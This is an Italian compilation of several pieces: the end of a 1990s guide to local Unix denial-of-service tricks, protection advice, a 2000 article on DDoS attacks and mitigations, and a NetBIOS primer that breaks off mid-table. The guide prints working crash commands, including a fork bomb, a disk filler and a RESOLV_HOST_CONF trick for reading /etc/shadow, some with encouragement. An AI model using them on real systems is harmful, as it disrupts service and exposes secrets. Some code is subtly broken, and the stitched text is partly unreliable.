Solaris 2.3 avrà un kernel panic se è eseguito questo:

```
$ndd /dev/udp udp_status
```

La soluzione è installare la patch appropriata.

.D.2. MANDARE IN CRASH IL SERVER X

Se stickybit non è settato in /tmp, il file /tmp/.x11-unix/x0 può essere rimosso
e il server X andrà in crash.

Es:

```
$ rm /tmp/.x11-unix/x0
```

.D.3. RIEMPIRE L'HARD DISK

Se lo spazio sul tuo hard disk non è limitato o se puoi usare /tmp è possibile
riempire il file system.

Es:

```
while : ;
mkdir .xxx
cd .xxx
done
```

.D.4. USO MALIZIOSO DI eval

Alcuni vecchi sistemi andranno in crash se è eseguito eval '\!\!' in una C-shell.

Es:

```
% eval '\!\!'
```

.D.5. USO MALIZIOSO DI fork()

~~~~~~~~~~~~~~~~~~~~~~~~~~~

Se qualcuno esegue questo programma C++ il risultato sarà il crash della maggior parte dei sistemi.

Es:

```
#include <sys/types.h>
#include <unistd.h>
#include <iostream.h>

main()
{
        int x;
        while(x=0;x<1000000;x++)
                {
                        system("uptime");
                        fork();
                }
}
```

Puoi usare tutti i comandi che vuoi, ma uptime è bello perchè mostra il carico di lavoro.

Per avere un attacco più grande e potente dovresti comunque rimpiazzare uptime con sync. Questo è molto cattivo.

Se fai sul serio puoi instaurare un processo "figlio" per ogn processo "figlio" e avremo un incremento del carico di lavoro.

Non ci sono buoni modi di fermare questo attacco e attacchi simili. Una soluzione potrebbe essere piazzare un limite di tempo sull'esecuzione e dimensione dei processi.

.D.6. CREARE FILES CHE SONO DIFFICILI DA RIMUOVERE

Tutti i files possono essere rimossi, ma quì c'è qualche idea:

Es.1.

```
$ cat > -xxx
^C
$ ls
-xxx
$ rm -xxx
rm: illegal option -- x
rm: illegal option -- x
rm: illegal option -- x
usage: rm [-fiRr] file ...
$
```

Es.2.

```
$ touch xxx!
$ rm xxx!
rm: remove xxx! (yes/no)? y
$ touch xxxxxxxxx!
$ rm xxxxxxxxx!
bash: !": event not found
$
```

Altri metodi conosciuti sono files con caratteri dispari o spazi nel nome.

Questi metodi potrebbero essere usati in combinazione con ".D.3. RIEMPIRE L' HARD DISK". Se vuoi rimuovere questi files devi usare degli script o un'interfaccia grafica come il File Manager di OpenWindow. Puoi anche tentare di usare: rm ./<file>. Dovrebbe funzionare per il primo esempio se hai una shell.

.D.7. DIRECTORY NAME LOOKUPCACHE

Directory name lookupcache (DNLC) è usato quando un file è aperto. DNLC associa il nome del file a un vnode. Ma DNLC può solo operare su files i quali nomi sono composti da un certo numero di caratteri (per SunOS 4.x fino a 14 caratteri, per Solaris 2.x fino a 30 caratteri). Questo significa che è facile eseguire un discreto attacco denial of service.

Crea diciamo 20 directory (per iniziare) e metti 10 files vuoti in ogni directory. Fai sì che ogni nome di file abbia oltre i 30 caratteri ed esegui uno script che fa molti ls-al nelle directory.

Se l'impatto non è grande abbastanza, dovresti creare più files o eseguire più processi.

.D.8. ATTACCO CSH

Esegui questo in /bin/csh (dopo le modifiche appropriate) e il livello di caricamento salirà di molto (100% del tempo della cpu) in poco tempo.

```
|I /bin/csh
nodename : **************b
```

.D.9. CREARE FILES IN /tmp

Molti programmi creano files in /tmp, ma è difficile trattare del problema se il file esiste già. In alcuni casi questo potrebbe essere usato per un attacco denial of service.

.D.10. USARE RESOLV_HOST_CONF

Alcuni sistemi hanno un piccolo buco di sicurezza nel modo in cui usano la variabile

RESOLV_HOST_CONF. Noi possiamo mettere delle cose in esso e attraverso l'accesso ping avremo dei dati come /etc/shadow o potremo mandare in crash il sistema. La maggior parte dei sistemi andranno in crash se c'è /proc/kcore nella variabile e accedendo tramite ping.

Es:

```
$ export RESOLV_HOST_CONF="/proc/kcore" ; ping asdf
```

.D.11. SUN 4.X E LAVORI NASCOSTI

Grazie a Mr David Honig <honig@amada.net> per il documento seguente:

" Metti la stringa "a&" in un file chiamato "a" e esegui un "chomod +x a". Eseguendo "a" disattiverai lentamente una macchina SunOS 4.x, disabilitando anche il login root e riempiendo le tavole del kernel."

" La cosa bella è la dimensione dello script, e quante poche battute di tasti ci vogliono per disattivare una macchina Sun come utente".

.D.12. MANDARE IN CRASH DG/UX CON ULIMIT
----

ulimit è usato per settare un limite sulle risorse di sistema disponibili alla shell. Se ulimit 0 è chiamato prima di /etc/passwd, sotto DG/UX, il file passwd sarà settato a 0.

.D.13. NETTUNE E HP-UX

/usr/contrib/bin/nettune è SETUID root su HP-UX, cioè ogni utente può resettare tutti gli ICMP, IP e i parametri TCP del kernel, per esempio i seguenti parametri:

- arp_killcomplete
- arp_killincomplete
- arp_unicast
- arp_rebroadcast
- icmp_mask_agent
- ip_defaultttl
- ip_forwarding
- ip_intrqmax
- pmtu_defaulttime
- tcp_localsubnets
- tcp_receive
- tcp_send
- tcp_defaultttl
- tcp_keepstart
- tcp_keepfreq
- tcp_keepstop
- tcp_maxretrans
- tcp_urgent_data_ptr

- udp_cksum
- udp_defaulttl
- udp_newbcastenable
- udp_pmtu
- tcp_pmtu
- tcp_random_seq

La soluzione potrebbe essere settare il permesso appropriato a /sbin/mount_union:

#chmod u-s /sbin/mount_union

.D.14. SOLARIS 2.X E NFS

Se un processo sta scrivendo a NFS e l'utente supera lo spazio sul disco il processo
andrà in un loop infinito.

.D.15. STABILITà DEL SISTEMA COMPROMESSA DA MOUNT_UNION

Eseguendo una sequenza di comandi mount_union ogni utente può causare un "ricaricamento"
del sistema su tutti i FreeBSD 2.x prima del 18/05/1996.

$ mkdir a
$ mkdir b
$ mount_union ~/a ~/b
$ mount_union -b ~/a ~/b

La soluzione potrebbe essere settare il permesso appropriato in /sbin/mount_union:

#chmod u-s /sbin/mount_union

.D.16. trap_mon CAUSA KERNEL PANIC SOTTO SUNOS 4.1.X

Eseguendo l'istruzione trap_mon da utente si può causare un kernel panic o un
"window underflow watchdog reset" sotto SunOS 4.1.x, architettura sun4c.

.E. DUMPING CORE
~~~~~~~~~~~~~~~~

.E.1. BREVE COMMENTO

I core dumps non appartengono in realtà a questo documento ma li ho messi comunque.

.E.2. USO MALIZIOSO DI NETSCAPE

Sotto Netscape 1.1N questo collegamento causerà un segmentation fault e un core dump.
~~~~~~~~~~~~~~~~

<a name="http://xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.
xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxxxxx.xxx.xxx.
xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxxxxx.xxx.xxx.xxx.xxx.xxx.
xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxxxxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.
xxx.xxx.xxx.xxx.xxxxxx.xxx.xxx.xxx.xxx.xxx...>

.E.3. CORE DUMPED SOTTO WUFTPD

Un core dumped potrebbe essere causato sotto wuftp con due metodi differenti:

(1) pasv è dato (utente non collegato (ftp-n)). Quasi tutte le versioni ftpd di BSD.
(2) Più di 100 argomenti sono dati con un comando eseguibile. Presente in tutte le versioni ftpd di BSD.

.E.4. ld SOTTO SOLARIS/X86

Sotto Solaris 2.4/X86 ld causa un core dump se è data l'opzione -s.

.F. COME PROTEGGERE UN SISTEMA CONTRO GLI ATTACCHI DENIAL OF SERVICE?
~~~~~~

.F.1. PROTEZIONI DI BASE

.F.1.1. INTRODUZIONE

Non puoi rendere il tuo sistema totalmente sicuro contro gli attacchi denial of service ma dall'esterno puoi fare molto. Ho messo questa lista insieme e spero che può essere di buona utilità.

.F.1.2. PATCH DI SICUREZZA

Installa sempre le appropriate patch di sicurezza. Non voglio inserire i numeri delle patch, ma non importa perchè comunque devi controllare che hai tutte le patch installate, quindi prendi una lista e controlla! Nota inoltre che le patch cambiano nel tempo e questa è una soluzione suggerita nei notiziari di sicurezza (es. CERT).

.F.1.3. PORT SCANNING

Controlla quali servizi hai. Non controllare manualmente o qualche file di configurazione, ma controlla le porte con sprobe o qualche altro port scanner. Attualmente dovresti farlo regolarmente per vedere che nessuno abbia installato un servizio che non vuoi sul
~~~~~~

sistema (per esempio un servizio per un sito pirata).

Disabilita ogni servizi di cui non hai bisogno, come per esempio rexd, fingerd, systat, netstat, ruserd, sprayd, pop3, uucpd, echo, chargen, tftp, exec, ufs, daytime, time... Ogni combinazione di echo, time, daytime e chargen è possibile per entrare in un loop. Non c'è comunque bisogno di scartarle, così se vuoi disabilitare diventerai più sensibile al denial of service e non l'opposto.

Attualmente i servizi possono essere trovati su molti sistemi che possono essere usati per denial of service e brute force hacking senza nessun logging. Per esempio Stock rexec non logga niente. La maggior parte di popd anche non loggano niente.

.F.1.4. CONTROLLA GLI ATTACCHI DALL'ESTERNO DESCRITTI IN QUESTO DOCUMENTO

Controlla gli attacchi descritti in questo documento e cerca la soluzione. Alcuni attacchi dovresti eseguirli tu stesso per vedere se sono efficaci sul tuo sistema, per esempio:

- Bloccare X-Windows.
- Uso malizioso di telnet.
- Come disabilitare i servizi.
- Kernel panic di SunOS.
- Attaccare con i clients lynx.
- Mandare in crash i sistemi con il ping di Windows.

Testa il tuo sistema con molti servizi e osserva l'effetto.

Nota che Solaris 2.4 e successivi hanno un limite sul numero di messaggi d'errore ICMP (1 ogni 500 ms penso) e questo può causare dei problemi. Ma puoi risolvere facilmente questo problema eseguendo questa riga:

```
$ /usr/sbin/ndd -set /dev/ip ip_icmp_err_interval 0
```

.F.1.5. CONTROLLA GLI ATTACCHI DALL'INTERNO DESCRITTI IN QUESTO DOCUMENTO

Controlla gli attacchi dall'interno, sebbene è sempre possibile mandare in crash il sistema dall'interno anche se non vuoi che sia facile. Inoltre applica molte volte gli attacchi denial of service, per esempio:

- Bloccare il server X: Se stickybit non è settato in /tmp si possono eseguire vari attacchi per guadagnare l'accesso.

- Usare resolv_host_conf: Potrebbe essere usato per esporre dati personali come /etc/shadow.

- Core dumped sotto wuftpd: Può essere usato per estrarre le password.

Se non ho messo una soluzione, ho raccomandato altri documenti. Se no non conosco un documento con una soluzione che potevo raccomandare. In quei casi dovresti conttatare la tua compagnia.

.F.1.6. SISTEMI DI MASSIMA SICUREZZA

Pensa inoltre se potresti installare alcuni sistemi di massima sicurezza. Il sistema di base che dovresti installare è un logdaemon e un wrapper. Un firewall può anche essere buono, ma costoso. Gli strumenti gratuiti che possono essere scaricati da Internet sono per esempio:

TIPO:	NOME:	INDIRIZZO:
LOGDAEMON	NETLOG	ftp://net.tamu.edu/pub/security/TAMU
WRAPPER	TCP WRAPPERS	ftp://cert.org/pub/tools/tcp_wrappers
FIREWALL	TIS	ftp://ftp.tis.com/pub/firewalls/toolkit

Nota che devi installare con cura il firewall TIS o potresti aprire nuovi buchi di sicurezza, ma è un ottimo pacchetto se hai delle conoscenze di base.

E' anche buono rimpiazzare i servizi di cui ha bisogno, per esempio telnet, rlogin, rsh o altro, con strumenti con ssh. Ssh è gratis e può essere trovato a:

ftp://ftp.cs.hut.fi/pub/ssh

Gli indirizzi che ho messo sono siti per la distribuzione e non penso che ne dovresti usare altri, fatta eccezione per CERT.

Per una lista di strumenti per la sicurezza gratuiti raccomando:
"FAQ: Computer Security Frequently Asked Questions".

.F.1.7. CONTROLLARE LA SICUREZZA

Inoltre controlla la sicurezza regolarmente, per esempio esaminando i log di sistema, i files history... In ogni sistema senza altri sistemi di sicurezza alcuni strumenti possono essere trovati. Alcuni strumenti sono:

- uptime
- showmount
- ps
- netstat
- finger

(vedi il testo del man per maggiori informazioni).

.F.1.8. MANTENERE AGGIORNATO

E' molto importante essere aggiornati con i problemi di sicurezza. Ricorda inoltre che
i siti, come CERT, avvisano quando il problema è già conosciuto dal pubblico "oscuro"
da qualche tempo, perciò non aspettare. Le risorse seguenti ti aiutano a mantenerti
aggiornato:

- Mailing list di CERT. Manda una email a cert@cert.org per iscriversi alla lista

- Mailing list di Bugtraq. Manda una email a bugtraq-request@fc.net.

- Mailing list di WWW-security. Manda una email a www-security@ns2.rutgers.edu.

.F.1.9. LEGGI QUALCOSA DI MEGLIO

Comincia con i documenti su Internet. Mi dispiace dire che non ci sono molti documenti
gratis disponibili, ma qui ho messo una piccola collezione.

(1) I Rainbow books sono una lunga serie di libri gratis sulla sicurezza del computer.
I cittadini degli USA possono prenderli da:

INFOSEC AWARENESS OFFICE
National Computer Security Center
9800 Savage Road
Fort George G. Meader, MD 20755-600

Noi dobbiamo leggere i documenti dal web. Ogni documento non può essere trovato su internet.

(2) "Improving the security of your Unix system" di Curry è anche buono se hai bisogno
di conoscenze di base. Se non sai niente sulla sicurezza del computer non potevi trovare un
inizio migliore.

(3) "The WWW security FAQ" di Stein tratta la sicurezza W3 ed è il miglior documento che
si può trovare su internet.

(4) CERT ha pubblicato anche dei buoni documenti, come per esempio:

- Anonymous FTP Abuses.
- Email Bombing and Spamming.
- Spoofed/Forged Email.
- Protecting yourself from password file attacks.

Penso comunque che l'ultimo documento ha tralasciato alcune cose.

(5) Per una lunga lista di documenti raccomando:
"FAQ: Computer Security Frequently Asked Questions".

(6) Vedi anche la sezione ".G. LETTURE SUGGERITE"

Potresti anche acquistare dei libri, ma non ne raccomando.

.F.2. CONTROLLARE LE PRESTAZIONI

.F.2.1. INTRODUZIONE

Ci sono molti comandi e servizi che possono essere usati per controllare le prestazioni.
Su internet si possono trovare almeno due buoni programmi gratuiti.

.F.2.2. COMANDI E SERVIZI

Per maggiori informazioni leggi il testo del man.

netstat	Mostra lo stato della rete.
nfsstat	Mostra le statistiche NFS.
sar	Riporta l'attività del sistema.
vmstat	Riporta le statistiche di memoria virtuale.
timex	Temporizza un comando, riporta i dati dei processi e le attività di sistema.
time	Temporizza un comando semplice.
truss	Traccia le chiamate e i segnali di sistema.
uptime	Mostra per quanto tempo il computer è stato acceso.

Nota che se un server netstat pubblico puoi usare netstat dall'esterno. netstat può
anche dare informazioni come i numeri di sequenza tcp e altro.

.F.2.3. PRGORAMMI

Proctool: Proctool è uno strumento gratis per Solaris che controlla i processi.
ftp://opcom.sun.ca/pub/binaries/

Top: Top dovrebbe essere un programm più semplice di Proctool, ma è comunque buono.

.F.2.4. RESOCONTI

Per controllare le prestazioni devi avere delle informazioni per un lungo periodo di
tempo. Tutti i sistemi Unix hanno dei log di resovonto per identificare quanto tempo,
CPU e memoria usa un programma. Dovresti controllare il tuo manuale per controllare
come abilitare questo servizio.

Potresti anche inventare il tuo sistema di resoconto usando contrab e uno script con
i comandi che vuoi eseguire. Fai eseguire lo script a contrab ogni giorno e controlli
le informazioni una volta a settimana. Potresti far eseguire allo script:

- netstat
- iostat -D
- vmstat

.G. LETTURE SUGGERITE
~~~~~~~~~~~~~~~~~~~~~~~

.F.1. INFORMAZIONI PER CONOSCENZE PIù PROFONDE
----

(1) Hedrick, C. Routing Information Protocol. RFC 1058, 1988.
(2) Mills, D.L. Exterior Gateway Protocol Formal Specification. RFC 904, 1984.
(3) Postel, J. Internet Control Message Protocol. RFC 792, 1981.
(4) Harrenstien, K. NAME/FINGER Protocol, RFC 742, 1977.
(5) Sollins, K.R. The TFTP Protocol, RFC 783, 1981.
(6) Croft, W.J. Bootstrap Protocol, RFC 951, 1985.

Molti documenti in questa categoria erano degli RFC. Un RFC è un documneto
che descrive un protocollo. Le lettere RFC stanno per Request For Comment.
Si presume che su internet si conoscano almeno quelli più comuni. Se vuoi
saperne di più su un protocollo è sempre bene leggere l'appropriato RFC.
Puoi trovare un indice sugli RFC all'indirizzo:

http://pubweb.nexor.co.uk/public/rfc/index/rfc.html

.F.2. INFORMAZIONI SULL'AGGIORNAMENTO
----

(1) Mailing list di CERT. Manda una email a cert@cert.org per iscriverti.
(2) Mailing list di Bugtraq. Manda una email a bugtraq-request@fc.net.
(3) Mailing list di WWW-security. Manda una email a www-security@ns2.rutgers.edu.
(4) Sun Microsystems Security Bulletins.
(5) Vari articoli da: - comp.security.announce
- comp.security.unix
- comp.security.firewalls
(6) Varie pubblicazioni di 40Hex.

.F.3. INFORMAZIONI DI BASE
----

(1) Husman, H. INTRODUKTION TILL DATASÄKERHET UNDER X-WINDOWS, 1995.
(2) Husman, H. INTRODUKTION TILL IP-SPOOFING, 1995.
(3) I seguenti rainbow books: - Teal Green Book (Dizionario dei termini di sicurezza).
- Bright Orange Book(Una guida per capire il controllo della sicurezza nei sistemi).
- C1 Technical Report-001 (Virus per il computer: prevenzione rivelazione e trattamento).

(4) Ranum, Marcus. Firewalls, 1993.
(5) Sun Microsystems, OpenWindows V3.0.1. User Commands, 1992.
(6) Husman, H. ATT SPÅRA ODOKUMENTERADE SÄKERHETSLUCKOR, 1996.
(7) Dark OverLord, Unix Cracking Tips, 1989.
~~~~~~~~~~~~~~~~~~~~~~~

(8) Shooting Shark, Unix Nasties, 1988.
(9) LaDue, Mark.D. Hostile Applets on the Horizone, 1996.
(10) Curry, D.A. Improving the security of your unix system, 1990.
(11) Stein, L.D. The World Wide Web security FAQ, 1995.
(12) Bellovin, S.M. Security Problems in the TCP/IP Protocol, 1989.

.H. COPYRIHT

.I. DISCLAIMER

Attacchi: Distributed Denial of Services (16 Febbraio 2000)

A meno che non siate vissuti isolati nelle scorse settimane, avrete sicuramente sentito parlare dei sabotaggi recentemente effettuati contro alcuni dei principali siti Internet.

Numerosi BIG della Rete sono stati messi in ginocchio da quello che sembra essere stato il più massiccio attacco mai lanciato contro importanti portali e siti web.
Yahoo! è stato il primo a subirli, avendo riportato un blackout di tre ore domenica 6 febbraio. Buy.Com non era raggiungibile la mattina di lunedì 7, CNN ed eBay non lo erano nel pomeriggio, mentre Amazon e Zdnet sono rimasti isolati parecchie ore la notte di lunedì.

Articoli tecnici hanno spiegato il fenomeno come un Distributed Denial of Services attack (DDoS): un genere di attacco nel quale i cosiddetti pirati (crackers) attivano un numero elevatissimo di false richieste da più macchine allo stesso server consumando le risorse di sistema e di rete del fornitore del servizio. In questo modo il provider *affoga* letteralmente sotto le richieste e non è più in grado di erogare i propri servizi, risultando quindi irraggiungibile.
Alcuni dei network provider coinvolti hanno dichiarato di essere stato sommersi da oltre 1 Gb al secondo di traffico.
Anche se questo genere di attacco non è affatto nuovo sulla Rete, non ne erano mai stati rilevati su così vasta scala e su così tanti obiettivi importanti quasi in contemporanea.
Gli antenati degli attuali attacchi si manifestavano andando ad esaurire risorse hardware della vittima, quali lo spazio su disco, la memoria e la CPU: ciò era ottenibile spedendo pochi pacchetti malformati che mandavano in crash il sistema remoto. Il più noto tra le utility di questo genere è stato nuke e il più popolare WinNuke, che mandava in crash il famoso OS della casa di Redmond (WinNuke è ancora in grado di mandare in crash molte macchine desktop Win95 e server NT se non hanno applicato le opportune patch, N.d.R.).
Il primo (e il più abusato) prodotto di DoS che ha acquisito notorietà è stato lo smurf attack che tutt'oggi è in grado di paralizzare reti con tecnologie non aggiornate (generalmente piccole/medie aziende e ISP locali).
In seguito è venuto The LowDown, conosciuto anche come Network Saturation Attack o Bandwidth Consumption Attack: un nuovo attacco DoS in grado di inondare un network di un numero impressionante di pacchetti. I router e server che subiscono l'attacco, nel tentativo di gestire correttamente il traffico compiono un eccessivo lavoro che li mette in crisi. Ovviamente l'eccesso di traffico ostile rende impossibile anche il traffico lecito (posta, web, ecc.) bloccando quindi in pochi minuti intere reti.
La generazione successiva (l'attuale) è appunto quella dei Distributed Denial of Service (DDoS) attack. Spingendo all'eccesso l'idea del network saturation attack, il DDoS ripete lo stesso approccio utilizzando però diversi punti d'ingresso contemporanei: in questo modo un cracker è in grado di mettere in ginocchio sistemi più grandi che sarebbero indifferenti ad un singolo flood. Per effettuare questo genere di operazione si deve poter installare un proprio agente sui sistemi da cui si vuole scatenare l'attacco stesso.
È quindi una tecnica che viene preparata per tempo, attrezzandosi con un pool di macchine compromesse da poter scagliare contro il sistema vittima.
David Dittrich ha fatto un eccellente lavoro descrivendo i diversi tools attualmente usati per questo genere di attacco. L'analisi di questi prodotti è disponibile su http://staff.washington.edu/dittrich/misc; nello specifico:

- Trinoo - http://staff.washington.edu/dittrich/misc/trinoo.analysis
- Tribe Flood Network - http://staff.washington.edu/dittrich/misc/tfn.analysis
- Stacheldraht - http://staff.washington.edu/dittrich/misc/stacheldraht.analysis
- TFN2K - http://packetstorm.securify.com/distributed/TFN2k_Analysis.htm

Su http://www.hackernews.com/bufferoverflow/00/dosattack/dosattack.html è disponibile un'interessante descrizione - più divulgativa delle precedenti - sui vari tipi di denial of service attack.
La principale domanda cui tutti cercano di rispondere è chi sia stato a effettuare questi attacchi e perché.
Inoltre sono stati organizzati diversi incontri per cercare di capire come sono condotti questi attacchi e come sia possibile difendersi.

Sulla Rete sono disponibili alcune note sul workshop del CERT (=Computer Emergency Response Team) presso:

http://www.cert.org/reports/dsit_workshop.pdf

e alcune note esplicative su:
- http://staff.washington.edu/dittrich/talks/cert/

Il CERT ha inoltre pubblicato un avviso a questo riguardo proprio lo scorso mese di gennaio:

- http://www.cert.org/advisories/CA-2000-01.html

Tra le diverse ipotesi prese in considerazione vi è anche quella di un'azione portata avanti dai servizi segreti americani per sensibilizzare l'opinione pubblica sulla questione della sicurezza su Internet e far approvare più rapidamente il nuovo testo di legge (Electronic law enforcement) attualmente allo studio del parlamento americano, che introdurrebbe severe restrizioni e controlli sulla Rete. Maggiori dettagli su questa ipotesi presso
http://listserv.syr.edu/scripts/wa.exe?A2=ind0002&L=foi-l&F=&S=&P=9484

In realtà questi attacchi sono resi possibili dall'attuale implementazione del protocollo TCP/IP. Per una scelta di realizzazione, infatti, non è stata posta particolare sicurezza sull'identificazione del mittente di ogni pacchetto e se questo da una parte consente garanzie di anonimato, dall'altro può essere sfruttato con apposite tecniche per far credere che il pacchetto provenga da sistemi differenti da quello effettivo. Queste limitazioni saranno in parte superate dalla prossima adozione di IPv6.
Ad oggi non esiste una soluzione unica al problema ma esistono molti modi per tutelarsi; nei paragrafi che seguono ne presentiamo alcuni.

Network Incoming Filtering
Tutti gli ISP dovrebbero implementare dei filtri in ingresso sui propri router e firewall in modo da bloccare i pacchetti che contengano informazioni alterate sulla loro provenienza (in gergo SPOOFED).
Anche se questo accorgimento non impedisce il verificarsi di un attacco, consente di ricostruire la provenienza dei pacchetti in maniera più semplice e veloce.
Per maggiori informazioni sui filtri in ingresso: RFC 2267 su
http://info.internet.isi.edu/innotes/rfc/files/rfc2267.txt

Limit Network Traffic
La maggior parte dei router consente oggi di limitare la quantità di banda usata da un particolare servizio.
Questa capacità è spesso definita come traffic shaping o Quality of Service (QoS) ed è implementabile anche utilizzando una piccola macchina Linux come gateway.

La Cisco chiama questa capacità Committed Access Rate (CAR).
Sfruttando questa caratteristica, per esempio, è possibile configurare i propri sistemi in modo da fornire più banda ai servizi web a discapito di altri servizi (per esempio ftp).
Com'è facilmente intuibile, questa capacità può essere usata anche in maniera reattiva per fermare un DDoS.
Per esempio se l'attacco usa pacchetti ICMP o pacchetti TCP SYN è possibile configurare i sistemi in modo da limitare la banda utilizzabile da questi pacchetti.
Per maggiori informazioni:

http://www.cisco.com/warp/public/707/newsflash.html

http://www.cisco.com/univercd/cc/td/doc/product/software/ios120/12cgcr/qos_c/qcpart4/qcpolts.htm

Intrusion Detection Systems e Host Auditing Tools
È possibile utilizzare un Intrusion Detection System o un tool di auditing per identificare malintenzionati mentre cercano di comunicare con i loro sistemi slave, master o agent. Ciò consente di sapere se alcune macchine all'interno della propria rete sono utilizzate per lanciare un genere di attacco conosciuto ma non sempre sono in grado di identificare nuove varianti o prodotti nuovi.
La maggior parte delle soluzioni commerciali sono ormai in grado di riconoscere Trinoo, TNF o Stacheldraht.
L'FBI fornisce gratuitamente un prodotto chiamato "find_ddos" che cerca all'interno del filesystem prodotti di DDoS quali Trinoo, TNF, TNF2K e Stacheldraht
Il prodotto è disponibile solo in formato binario sia per Solaris (Sparc e Intel) che per Linux (Intel):

http://www.fbi.gov/nipc/trinoo.htm

(non dimentichiamo che l'assenza di sorgenti rende l'applicativo non controllabile e quindi, potenzialmente, potrebbe contenere delle backdoors, N.d.R.)
Network Auditing Tools
Sono numerosi i programmi che consentono l'analisi di una intera rete aziendale per verificare la presenza di agenti per DDoS.
Dave Dittrich, Marcus Ranum e altri esperti hanno sviluppato un prodotto di cui rilasciano anche i sorgenti denominato dds:

http://staff.washington.edu/dittrich/misc/ddos_scan.tar

con il quale è possibile identificare Trinoo, TFN e Stacheldraht.

GUIDA AL NETBIOS

CHE COS'É IL NetBIOS ?!

Il NetBIOS (Network Basic Input/Output System) è stato originariamente
sviluppato da IBM e Sytek come un'API (Application Programming Interface) per

permettere a programmi client di accedere a delle risorse presenti in una LAN
(Local Access Network). Dalla sua creazione, il NetBIOS è diventata la base
di molte altre applicazioni per la rete. In senso stretto, il NetBIOS non è
altro che un'interfaccia per accedere a dei servizi di una rete.

Il NetBIOS, un tipo di software sviluppato per collegare un sistema operativo
per la rete con hardware specifico, è stato originariamente progettato per
essere un controller di rete, per reti LAN dell'IBM. Ora il NetBIOS è stato
esteso per permettere ai programmi, scritti usando l'interfaccia del NetBIOS,
di operare su di una architettura token-ring. Da allora il NetBIOS è stato
adottato come uno standard ed ora vengono usate LANs compatibili col NetBIOS.

Il NetBIOS offre alle applicazioni in rete un set di strumenti per permettere
a queste ultime la gestione della comunicazione in rete e il trasferimento di
dati.
In pratica il NetBIOS permette alle applicazioni di comunicare con la rete.
Il suo scopo è di isolare le varie applicazioni da qualsiasi tipo di
dipendenza hardware. Inoltre in questo modo viene risparmiato ai programmatori
il compito di sviluppare dei controlli di errore della rete, l'addressing e
il routing a basso livello.

In questo modo il NetBIOS standarizza l'interfaccia tra le applicazioni
software e una LAN. In questo modo può essere specificato a quali livelli del
modello OSI l'applicazione può scrivere, rendendo quest'ultima trasportabile
ad altre reti. In una NetBIOS LAN, i computers vengono identificati dal
sistema attraverso il loro nome. Ogni computer sulla rete ha un nome
permanente che è programmato in diverse vie. Di questi nomi si parlerà
dettagliatamente nei paragrafi successivi.

I PC di una NetBIOS LAN comunicano assieme stabilendo una sessione o usando i
"NetBIOS datagram" oppure metodi "broadcast". Le sessioni permettono di
inviare una grossa quantità di dati ed anche la detenzione e correzione degli
errori. La comunicazione è in base one-to-one. I datagrammi e i metodi
broadcast permettono ad un computer di comunicare con altri computers allo
stesso momento, ma la grandezza dei messaggi è limitata e non vi è una
detenzione e correzzione degli errori. Tuttavia, le comunicazioni attraverso
l'uso dei datagrammi permettono di comunicare senza aver stabilito una
sessione.

Tutte le comunicazioni di questi ambienti sono presentate al NetBIOS in un
formato chiamato NCB (Network Control Blocks). La locazione di questi blocchi
nella memoria dipende dal programma user. Questi NCB si dividono in campi,
riservati rispettivamente per l'input e l'output.

Nel NetBIOS, le connessioni TCP e UDP sono entrambe supportate; supporta sia
il broadcast e multicasting, e supporta 3 differenti servizi: Naming, Session
and Datagram.

Il NetBIOS è un protocollo molto comune, ed usato oggi in questi campi. Il
NetBIOS è supportato sulle reti Ethernet, TokenRing, e reti di PCs IBM. Nel
suo insediamento originale, fu definito solamente come un'interfaccia tra le

applicazioni e l'adattatore di rete. Da allora, ampliando le funzioni dell
NetBIOS, si è fatto di lui uno strumento molto più funzionale.

Col NetBIOS sono supportate sia le connessioni TCP sia quelle UDP. Egli
supporta sia i metodi broadcasts sia il multicasting, oltre a 3 distinti
servizi: Naming, Session e Datagram.

NetBIOS NAMES

I Nomi del NetBIOS sono usati per identificare le risorse su una rete. Le
applicazioni usano questi nomi per iniziare e terminare una sessione. Si può
configurare una singola macchina con applicazioni multiple, ogniuna delle
quali ha un'unico nome. Ogni PC che supporta
un'applicazione ha anche un nome generale (NetBIOS station name) che l'utente
ha definito o che il NetBIOS deduce con mezzi interni.

Il NetBIOS consiste in una striga alfanumerica che può arrivare fino a 16
caratteri. La combinazione di questi caratteri deve essere unica; prima che
un computer possa funzionare pienamente su di una rete, questo deve
registrare il suo nome del NetBIOS.

Quando un client diviene attivo, questo divulga il suo nome. Un client è
considerato registrato, quando, dopo aver divulgato il suo nome, qualsiasi
altro client che gli richieda una connessione non abbia lo stesso nome. Le
fasi di questo processo si possono sintetizzare così:

1. Il client invia ad ogni altro computer collegato in rete le sue
   informazioni riguardanti il NetBIOS, in modo che ogni altro client sulla
   rete le riceva.

2. Se un altro client sulla rete ha il suo nome, questo trasmette il suo
   broadcast per indicare che il nome è già in uso. Il client che cercava di
   registrarsi con un nome già in uso, arresta tutti i tentativi di
   registrazione con quel nome.

3. Se nessun altro client sulla rete obietta alla registrazione del nome, il
   client finirà il processo di registrazione.

Ci sono due tipi di nomi nell'ambiente del NetBIOS: Unique (Unico) e Group
(Gruppo). Un nome "unico" deve essere unico nella rete. Un nome di "gruppo"
non deve essere unico e tutti i processi che hanno quel nome del gruppo
appartengono a quel determinato gruppo.
Ogni nodo NetBIOS ha una tabella di tutti i nomi che in quel momento sono
presenti suquel nodo.

La convenzione presa per l'attribuzione del nome al NetBIOS permette un nome
di 16 caratteri. Microsoft, tuttavia, limita questi nomi a 15 caratteri e usa
il sedicesimo carattere come un suffisso per il NetBIOS. Un suffisso è usato

dal software Microsotf, che lavora in rete, per indentificare le funzionalità installate, o servizi o unità registrate.

Qui sotto vi è una tabella dei suffissi del NetBIOS, attualmente usati da WindowsNT. Questi suffissi sono mostrati nel formato esadecimale.

Name	Number	Type	Usage
<computername>	00	U	Workstation Service
<computername>	01	U	Messenger Service
<_MSBROWSE_>	01	G	Master Browser
<computername>	03	U	Messenger Service
<computername>	06	U	RAS Server Service
<computername>	1F	U	NetDDE Service
<computername>	20	U	File Server Service
<computername>	21	U	RAS Client Service
<computername>	22	U	Exchange Interchange
<computername>	23	U	Exchange Store
<computername>	24	U	Exchange Directory
<computername>	30	U	Modem Sharing Server Service
<computername>	31	U	Modem Sharing Client Service
<computername>	43	U	SMS Client Remote Control
<computername>	44	U	SMS Admin Remote Control Tool
<computername>	45	U	SMS Client Remote Chat
